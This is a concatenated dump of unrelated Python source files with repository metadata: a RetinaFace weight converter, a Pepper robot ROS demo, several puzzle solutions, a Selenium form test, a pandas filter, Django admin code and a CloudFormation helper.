2023-08-21T15:21:24.131718

2023-08-18T09:37:56

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import numpy as np from TorchSUL import Model as M import torch import torch.nn as nn import torch.nn.functional as F class Unit(M.Model): def initialize(self, chn, stride=1, shortcut=False): self.bn0 = M.BatchNorm() self.act = M.Activation(M.PARAM_RELU) self.c1 = M.ConvLayer(1, chn, activation=M.PARAM_RELU, batch_norm=True, usebias=False) self.c2 = M.ConvLayer(3, chn, stride=stride, activation=M.PARAM_RELU, batch_norm=True, usebias=False) self.c3 = M.ConvLayer(1, chn*4, usebias=False) self.shortcut = shortcut if shortcut: self.sc = M.ConvLayer(1, chn*4, stride=stride, usebias=False) def forward(self, inp): if self.shortcut: inp = self.bn0(inp) inp = self.act(inp) x2 = x = self.c1(inp) x = self.c2(x) x = self.c3(x) sc = self.sc(inp) x = sc + x else: x = self.bn0(inp) x = self.act(x) x2 = x = self.c1(x) x = self.c2(x) x = self.c3(x) x = inp + x return x, x2 class Stage(M.Model): def initialize(self, outchn, num_units, stride): self.units = nn.ModuleList() for i in range(num_units): self.units.append(Unit(outchn, stride=stride if i==0 else 1, shortcut = i==0)) def forward(self, x): for i,u in enumerate(self.units): if i==0: x, x2 = u(x) else: x, _ = u(x) return x, x2 class DETHead(M.Model): def initialize(self): self.c11 = M.ConvLayer(3, 256, batch_norm=True) self.c21 = M.ConvLayer(3, 128, batch_norm=True, activation=M.PARAM_RELU) self.c22 = M.ConvLayer(3, 128, batch_norm=True) self.c31 = M.ConvLayer(3, 128, batch_norm=True, activation=M.PARAM_RELU) self.c32 = M.ConvLayer(3, 128, batch_norm=True) self.act = M.Activation(M.PARAM_RELU) def forward(self, x): x1 = self.c11(x) x2 = self.c21(x) x3 = self.c31(x2) x3 = self.c32(x3) x2 = self.c22(x2) x = torch.cat([x1, x2, x3], dim=1) x = self.act(x) return x class RegressHead(M.Model): def initialize(self): self.c1 = M.ConvLayer(1,4) self.c2 = M.ConvLayer(1,8) self.c3 = M.ConvLayer(1,20) def forward(self, x): prob = self.c1(x) bbox = self.c2(x) kpts = self.c3(x) prob = prob.view(prob.shape[0],2,prob.shape[2]*2,prob.shape[3]) prob = F.softmax(prob, dim=1) prob = prob.view(prob.shape[0],4,-1, prob.shape[3]) return prob, bbox, kpts class Detector(M.Model): def initialize(self): self.bn0 = M.BatchNorm() self.c1 = M.ConvLayer(7, 64, stride=2, activation=M.PARAM_RELU, batch_norm=True, usebias=False) self.pool = M.MaxPool2D(3, 2) self.stage1 = Stage(64, num_units=3, stride=1) self.stage2 = Stage(128, num_units=4, stride=2) self.stage3 = Stage(256, num_units=6, stride=2) self.stage4 = Stage(512, num_units=3, stride=2) self.bn1 = M.BatchNorm() self.act = M.Activation(M.PARAM_RELU) self.ssh_c3_lateral = M.ConvLayer(1, 256, batch_norm=True, activation=M.PARAM_RELU) self.det3 = DETHead() self.head32 = RegressHead() self.ssh_c2_lateral = M.ConvLayer(1, 256, batch_norm=True, activation=M.PARAM_RELU) self.ssh_c3_upsampling = M.NNUpSample(2) self.ssh_c2_aggr = M.ConvLayer(3, 256, batch_norm=True, activation=M.PARAM_RELU) self.det2 = DETHead() self.head16 = RegressHead() self.ssh_m1_red_conv = M.ConvLayer(1, 256, batch_norm=True, activation=M.PARAM_RELU) self.ssh_c2_upsampling = M.NNUpSample(2) self.ssh_c1_aggr = M.ConvLayer(3, 256, batch_norm=True, activation=M.PARAM_RELU) self.det1 = DETHead() self.head8 = RegressHead() def forward(self, x): x = self.bn0(x) x = self.c1(x) x = self.pool(x) x, _ = self.stage1(x) x, _ = self.stage2(x) x, f1 = self.stage3(x) x, f2 = self.stage4(x) x = self.bn1(x) x = self.act(x) fc3 = x = self.ssh_c3_lateral(x) d3 = x = self.det3(x) scr32, box32, lmk32 = self.head32(d3) fc2 = self.ssh_c2_lateral(f2) x = self.ssh_c3_upsampling(fc3) x = x[:,:,:fc2.shape[2],:fc2.shape[3]] plus100 = x = fc2 + x fc2_aggr = x = self.ssh_c2_aggr(x) d2 = x = self.det2(x) scr16, box16, lmk16 = self.head16(d2) fc1 = self.ssh_m1_red_conv(f1) x = self.ssh_c2_upsampling(fc2_aggr) x = x[:,:,:fc1.shape[2],:fc1.shape[3]] x = fc1 + x fc1_aggr = x = self.ssh_c1_aggr(x) d1 = x = self.det1(x) scr8, box8, lmk8 = self.head8(d1) results = [scr32, box32, lmk32, scr16, box16, lmk16, scr8, box8, lmk8] return results if __name__=='__main__': net = Detector() net.eval() x = torch.from_numpy(np.ones([1,3,640,640]).astype(np.float32)) _ = net(x) # net.bn_eps(1e-5) # net.backbone.det1.bn_eps(2e-5) res = {} ps = net.named_parameters() for p in ps: name, p = p res[name] = p ps = net.named_buffers() for p in ps: name, p = p res[name] = p def get_bn(l1, l2): a = [] b = [] a.append(l1+'.weight') a.append(l1+'.bias') a.append(l1+'.running_mean') a.append(l1+'.running_var') b.append(l2+'_gamma') b.append(l2+'_beta') b.append(l2+'_moving_mean') b.append(l2+'_moving_var') return a, b def get_conv(l1, l2, bias=False): a = [l1 + '.weight'] b = [l2 + '_weight'] if bias: a.append(l1+'.bias') b.append(l2+'_bias') return a,b def get_layer(l1, l2, bias=False): res = [] res.append(get_conv(l1 + '.conv', l2%('conv'))) res.append(get_bn(l1 + '.bn', l2%('batchnorm'))) return res def get_convbn(l1, l2, bias=False): res = [] res.append(get_conv(l1 + '.conv', l2, bias=bias)) res.append(get_bn(l1 + '.bn', l2 + '_bn')) return res def get_unit(l1, l2, sc=False): res = [] res.append(get_bn(l1+'.bn0', l2+'_bn1')) res.append(get_conv(l1+'.c1.conv', l2+'_conv1')) res.append(get_bn(l1+'.c1.bn', l2+'_bn2')) res.append(get_conv(l1+'.c2.conv', l2+'_conv2')) res.append(get_bn(l1+'.c2.bn', l2+'_bn3')) res.append(get_conv(l1+'.c3.conv', l2+'_conv3')) if sc: res.append(get_conv(l1+'.sc.conv', l2+'_sc')) return res def get_stage(l1, l2, blocknum): res = [] for i in range(blocknum): res += get_unit(l1+'.units.%d'%i, l2+'_unit%d'%(i+1), sc= i==0) return res def get_dethead(l1, l2): res = [] res += get_convbn(l1+'.c11', l2+'_conv1', bias=True) res += get_convbn(l1+'.c21', l2+'_context_conv1', bias=True) res += get_convbn(l1+'.c22', l2+'_context_conv2', bias=True) res += get_convbn(l1+'.c31', l2+'_context_conv3_1', bias=True) res += get_convbn(l1+'.c32', l2+'_context_conv3_2', bias=True) return res def get_regress(l1, l2): res = [] res.append(get_conv(l1+'.c1.conv', l2%('cls_score'), bias=True)) res.append(get_conv(l1+'.c2.conv', l2%('bbox_pred'), bias=True)) res.append(get_conv(l1+'.c3.conv', l2%('landmark_pred'), bias=True)) return res def totonoi(l): # print(l) a = [] b = [] for i in l: a += i[0] b += i[1] return a,b l = [] l.append(get_bn('bn0', 'bn_data')) l.append(get_conv('c1.conv', 'conv0')) l.append(get_bn('c1.bn', 'bn0')) l += get_stage('stage1', 'stage1', 3) l += get_stage('stage2', 'stage2', 4) l += get_stage('stage3', 'stage3', 6) l += get_stage('stage4', 'stage4', 3) l.append(get_bn('bn1', 'bn1')) l += get_convbn('ssh_c3_lateral', 'ssh_c3_lateral', bias=True) l += get_dethead('det3', 'ssh_m3_det') l += get_regress('head32', 'face_rpn_%s_stride32') l += get_convbn('ssh_c2_lateral', 'ssh_c2_lateral', bias=True) l += get_convbn('ssh_c2_aggr', 'ssh_c2_aggr', bias=True) l += get_dethead('det2', 'ssh_m2_det') l += get_regress('head16', 'face_rpn_%s_stride16') l += get_convbn('ssh_m1_red_conv', 'ssh_m1_red_conv', bias=True) l += get_convbn('ssh_c1_aggr', 'ssh_c1_aggr', bias=True) l += get_dethead('det1', 'ssh_m1_det') l += get_regress('head8', 'face_rpn_%s_stride8') a,b = totonoi(l) # print(a,b) import source for i,j in zip(a,b): # print(i,j) value = source.res[j].asnumpy() # print(value.shape) # print(res[i].shape) res[i].data[:] = torch.from_numpy(value)[:] # net.bn_eps(2e-5) y = net(x) print(y[0]) print(y[0].shape) M.Saver(net).save('./model_r50/r50_retina.pth')

[ "cy960823@outlook.com" ]

cy960823@outlook.com

d5e603260c7090d7a8d90aa950916b167e7fe620

3f1bc9c7d58f89fcc61b44e1e8197a5df18e3dbc

/src/light_demo.py

439753943ad251e822817883a28e8ddb6e3a3161

[]

no_license

kynamg/hello

4a382f2eb2fbf8847cb5df13fab4a8b90fcf9868

92b8059fb5f05b20abfcccc54dc4e47d3d9b6ef2

refs/heads/master

2021-08-22T23:03:21.314150

2017-12-01T15:16:41

null

0

null

UTF-8

Python

false

1,912

py

#!/usr/bin/env python # Title : light_demo.py # Author : Kyna Mowat-Gosnell # Date : 09/10/17 # Version : 2.0 import rospy, qi, argparse import sys import time import naoqi from naoqi import * from diagnostic_msgs.msg import KeyValue # message type /iot_updates uses from std_msgs.msg import Empty def callback(data): print("inside callback") def iot_callback(data): if(data.key == " Hue_iris_toggle_2" and data.value == "ON"): # Button pressed intcm_ring() def intcm_ring(): ttsProxy.say("Turning on the light") #animatedProxy.say("There is someone at the door") #tabletProxy.showWebview("http://192.168.1.121/apps/webview-6b6450/index.html") #tabletProxy.showWebview("http://192.168.1.99/mjpg/video.mjpg") tabletProxy.showWebview("https://www.thdstatic.com/spin/59/205316159/205316159_S01.spin?thumb&profile=400") time.sleep(5) tabletProxy.hideWebview() def listener(): rospy.init_node('listener', anonymous=True) # initialise node to subscribe to topic rospy.Subscriber("/iot_command", KeyValue, iot_callback) rospy.spin() # keeps python from exiting until node is stopped if __name__ == '__main__': from naoqi import ALProxy # Create a local broker, connected to the remote naoqi broker = ALBroker("pythonBroker", "192.168.1.129", 9999, "pepper.local", 9559) #animatedProxy = ALProxy("ALAnimatedSpeech", "pepper.local", 9559) # initialise animated speech proxy ttsProxy = ALProxy("ALTextToSpeech", "pepper.local", 9559) tabletProxy = ALProxy("ALTabletService", "pepper.local", 9559) tabletProxy.getWifiStatus() # check wifi status print tabletProxy.getWifiStatus() # print wifi status "CONNECTED" if connected postureProxy = ALProxy("ALRobotPosture", "pepper.local", 9559) # initialise posture proxy postureProxy.goToPosture("StandInit", 0.5) # return to initial position while True: listener()

[ "hwlivinglab@gmail.com" ]

hwlivinglab@gmail.com

46bd95d09f6bc8aecede6db2b326fc90533f3af9

45467e07e77131f631d0865046dcc4d18f483601

/src/Hackerearth/round_2/A.py

a766bae20c7b6478ffb22d212ff53cd5256fddb7

[]

no_license

bvsbrk/Algos

98374e094bd3811579276d25a82bbf2c0f046d96

cbb18bce92054d57c0e825069ef7f2120a9cc622

refs/heads/master

2021-09-25T10:01:59.323857

2018-10-20T16:07:07

98,708,839

0

null

UTF-8

Python

false

805

py

if __name__ == '__main__': for _ in range(int(input().strip())): n = int(input().strip()) x = n arr = [int(i) for i in input().strip().split()] arr = arr[::-1] i = 0 while arr[i] == 0 and i < n: i += 1 x -= 1 if i == n - 1: print(0) else: ans = [] if arr[i] > 0: ans.append(1) else: ans.append(-1) # neg sgn if n % 2 == 0: if arr[i] > 0: ans.append(1) else: ans.append(-1) else: if arr[i] < 0: ans.append(1) else: ans.append(-1) print(*ans)

[ "v.ramakoteswararao2015@vit.ac.in" ]

v.ramakoteswararao2015@vit.ac.in

42c458f3d032a3537cacc143e6752b2e931af068

a2783f4380503c68db31506243f7c3021c9752f9

/consulta_estados_brasileiros.py

0dff039ac70b463a576fce01d1344f2c4f05f1c0

[]

no_license

jpablolima/python

2f541378ed3b9fb582c9b1fe8a14ec80891241be

8e67d723e9649c557786583b257bbde9b899ea37

refs/heads/master

2020-06-24T17:51:23.908809

2019-11-21T13:41:09

199,036,691

0

null

UTF-8

Python

false

336

py

import sqlite3 conexao = sqlite3.connect("brasil.db") conexao.row_factory = sqlite3.Row print("%3s %-20s %12s" % ("Id", "Estado", "População")) print("="*37) for estado in conexao.execute("select * from estados order by nome"): print("%3d %-20s %12d" % (estado["id"], estado["nome"], estado["populacao"])) conexao.close

[ "jp.pablolima@gmail.com" ]

jp.pablolima@gmail.com

a76f90ee511fdec16e0583ce58592537635c4b8f

9bbe37776a81954085d21b1b80248ca05094a8ff

/day08/day0801/demo02_v2.py

7ca9113815f3d292b54a150907dc54a298bf092b

[]

no_license

wxsel/myseleniumproject

e8fd68384055aa696b76e69c49ac6a1df8c0e05f

98d1c50d9ab133aa1e0801ec2825f986902602d8

refs/heads/master

2020-08-08T00:53:45.200465

2019-10-08T13:28:06

213,648,982

0

null

UTF-8

Python

false

1,527

py

#!/usr/bin/env python3 # coding=utf-8 from selenium import webdriver from selenium.webdriver.common.by import By from selenium.webdriver.support.select import Select from time import sleep driver=webdriver.Chrome() # 打开浏览器 def open(url): base_url=url driver.get(base_url) base_url="" # 操作页面元素mycase1 def mycase1(): name=driver.find_element(By.XPATH,"//input[@name='username']") name.send_keys("张晓明") password = driver.find_element(By.XPATH, "//input[@name='password']") password.send_keys("123456") male = driver.find_element(By.XPATH, "//input[@name='sex']") male.click() email = driver.find_element(By.XPATH, "//input[@name='email']") email.send_keys('xiaoming@126.com') profession = driver.find_element(By.XPATH, "//select[@name='profession']") p1 = Select(profession) p1.select_by_visible_text("法律相关") film = driver.find_element(By.XPATH, "//input[@name='film']") if film.is_selected() == False: film.click() painting = driver.find_element(By.XPATH, "//input[@name='painting']") if painting.is_selected() == False: painting.click() comments = driver.find_element(By.XPATH, "//textarea") comments.send_keys("软件测试工程师") sleep(1) submit = driver.find_element(By.XPATH, "//input[@name='submit']") submit.click() # 关闭浏览器 def bye_bye(): driver.quit() if __name__ == '__main__': # 打开页面 my_url="" open(my_url) mycase1() bye_bye()

[ "hoou1993" ]

hoou1993

6ce151591e20779df71ce25110bc3831ce51c59a

b792f600ed4e50f34e65e4f334cf7a32d319cc0e

/2017/day11.py

cf2d1b7780f769b1e96bacb18b46b9ecb825122d

[]

no_license

daniel70/AoC

d577f490559d4a0f0d24567bd796117e1aac94ec

ef704a4f6e90168cdc2a91e894583a96e9a6c371

refs/heads/master

2022-12-28T03:19:08.341913

2022-12-16T01:52:39

2022-12-18T01:30:50

224,876,724

0

null

UTF-8

Python

false

711

py

directions = { 'n': (0, 1), 'ne': (1, 0.5), 'se': (1, -0.5), 's': (0, -1), 'sw': (-1, -0.5), 'nw': (-1, 0.5), } def distance(instructions: list[str]) -> tuple[int, int]: origin = [0, 0] furthest = 0 for direction in instructions: dx, dy = directions[direction] origin[0] += dx origin[1] += dy x, y = origin furthest = max(furthest, abs(x) + max(int(abs(y)) - abs(x) // 2, 0)) steps = abs(x) + max(int(abs(y)) - abs(x) // 2, 0) return steps, furthest instructions = open("input11.txt").read().strip().split(",") answer1, answer2 = distance(instructions=instructions) print("answer 1:", answer1) print("answer 2:", answer2)

[ "vdmeulen.daniel@gmail.com" ]

vdmeulen.daniel@gmail.com

63189884e723d6a31b370e37804c9082c206e005

023a5279d1c6f02f4a6952b2538d7bc046d02fc9

/staffs/admin.py

7748da2f180d330938614c580a230641754ca2b4

[]

no_license

mandal143/staff

af24767e9126e5af6aa0c1d36a62f37d93b281be

6f52ece9ea5eacf24289bea11773d36ec8b69906

refs/heads/master

2023-08-10T16:07:10.775517

2020-07-03T14:02:10

276,841,994

0

null

UTF-8

Python

false

147

py

from django.contrib import admin from .models import Employees, LoginLogoutLog admin.site.register(Employees) admin.site.register(LoginLogoutLog)

[ "49410374+mandal143@users.noreply.github.com" ]

49410374+mandal143@users.noreply.github.com

7441c8779392e406177ecd3e8cb518398c54c8f9

14eea746af39f11e6a63306b4f6f0201cf8c2a4d

/adventofcode/day7.py

0d3a8ebce21725bbb4a53c9066f8654e9ded4d0f

[]

no_license

andrehsu/Advent-of-Code-2019-Python

ce6985ff4f5b329dda5bc6f148dc42ae51160c78

5363d4eb9e6c7baf6f8c2a47807fc7e1449fce7f

refs/heads/master

2022-07-05T05:05:06.476339

2020-09-18T08:30:24

226,030,389

0

null

2022-06-22T03:38:16

2019-12-05T06:18:09

Python

UTF-8

Python

false

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py

from itertools import permutations from typing import Optional, Tuple from utils import read_input INPUT = read_input('day7') def parse_instruction(instruction: int) -> Tuple[int, int, int, int]: return (instruction % 100 // 1, instruction % 1000 // 100, instruction % 10000 // 1000, instruction % 100000 // 10000) class Amplifier: def __init__(self, code: str, phase_setting: int): self.i = 0 self.mem = list(map(int, code.split(','))) self.inputs = [phase_setting] def run(self, input_signal: int) -> Optional[int]: self.inputs.append(input_signal) def param(num: int) -> int: return self.mem[self.i + num] def param_value(param_num: int) -> int: p = param(param_num) mode = modes[param_num - 1] if mode == 0: return self.mem[p] elif mode == 1: return p else: raise RuntimeError('Unrecognized mode') while True: opcode, *modes = parse_instruction(self.mem[self.i]) if opcode == 1: self.mem[param(3)] = param_value(1) + param_value(2) assert modes[2] == 0 self.i += 4 elif opcode == 2: self.mem[param(3)] = param_value(1) * param_value(2) assert modes[2] == 0 self.i += 4 elif opcode == 3: self.mem[param(1)] = self.inputs.pop(0) assert modes[0] == 0 self.i += 2 elif opcode == 4: ret_val = param_value(1) self.i += 2 return ret_val elif opcode == 5: if param_value(1) != 0: self.i = param_value(2) else: self.i += 3 elif opcode == 6: if param_value(1) == 0: self.i = param_value(2) else: self.i += 3 elif opcode == 7: if param_value(1) < param_value(2): self.mem[param(3)] = 1 else: self.mem[param(3)] = 0 self.i += 4 elif opcode == 8: if param_value(1) == param_value(2): self.mem[param(3)] = 1 else: self.mem[param(3)] = 0 self.i += 4 elif opcode == 99: return None else: raise RuntimeError(f"Unexpected opcode: {opcode}") def day7(input_: str): part1(input_) part2(input_) def part1(input_): signals = [] for a, b, c, d, e in permutations(range(5)): a_output = Amplifier(input_, a).run(0) b_output = Amplifier(input_, b).run(a_output) c_output = Amplifier(input_, c).run(b_output) d_output = Amplifier(input_, d).run(c_output) e_output = Amplifier(input_, e).run(d_output) signals.append(e_output) print(max(signals)) def part2(input_): signals = [] for a, b, c, d, e in permutations(range(5, 10)): amplifiers = { 'a': Amplifier(input_, a), 'b': Amplifier(input_, b), 'c': Amplifier(input_, c), 'd': Amplifier(input_, d), 'e': Amplifier(input_, e), } last_output = 0 last_loop = False while not last_loop: for key, amplifier in amplifiers.items(): output = amplifier.run(last_output) if output is None: last_loop = True else: last_output = output signals.append(last_output) print(max(signals)) if __name__ == '__main__': part1(INPUT) part2(INPUT)

[ "4470828+andrehsu@users.noreply.github.com" ]

4470828+andrehsu@users.noreply.github.com

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[]

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zhongyuanbaike/Python

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ed0aed89539aa87ccdc0fb2108e8df165dc59b6b

refs/heads/master

2020-04-11T06:21:26.814676

2019-03-13T06:44:14

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import pandas as pd reader = pd.read_csv('F:\\world.txt',iterator=True,error_bad_lines=False) chunk = reader.get_chunk(50000000) df=pd.DataFrame(chunk) df.dropna() df.columns = ['date', 'b', 'c', 'd'] df['date'] = pd.to_datetime(df['date']) #将数据类型转换为日期类型 df = df.set_index('date') # 将date设置为index i=24 num_1=str(i) num_2=str(i+1) df = df['2016-01-'+num_1+' 21:00:00':'2016-01-'+num_2+' 00:00:00'] print(df) df_1 = df[df.b >= 31.15] df_2 = df_1[df_1.b <= 32.7] df_3 = df_2[df_2.c >= 118.23] df_4 = df_3[df_3.c <= 119.3] # df_4.to_csv('F:\\timedata\\1.txt',index = False) df_4 = df.groupby(['b', 'c']).sum() df_4.to_csv('F:\\timedata\\1.txt',encoding = 'utf-8')

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zhongyuanbaike.noreply@github.com

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c4bfd8ba4c4c0f21bd6a54a9131f0985a5a4fa56

/crescent/functions/get_att.py

704a83a8c9e664be800a85836e5778252c98e7a2

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permissive

mpolatcan/crescent

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from .fn import Fn as AnyFn, FnArrayValue from typing import Union class GetAtt(FnArrayValue): def __init__(self): super(GetAtt, self).__init__( fn_name=GetAtt.__name__, field_order=[self.Resource.__name__, self.Attribute.__name__] ) def Resource(self, resource_id: Union[str, AnyFn]): return self._set_field(self.Resource.__name__, resource_id) def Attribute(self, attribute: Union[str, AnyFn]): return self._set_field(self.Attribute.__name__, attribute)

[ "mutlupolatcan@gmail.com" ]

mutlupolatcan@gmail.com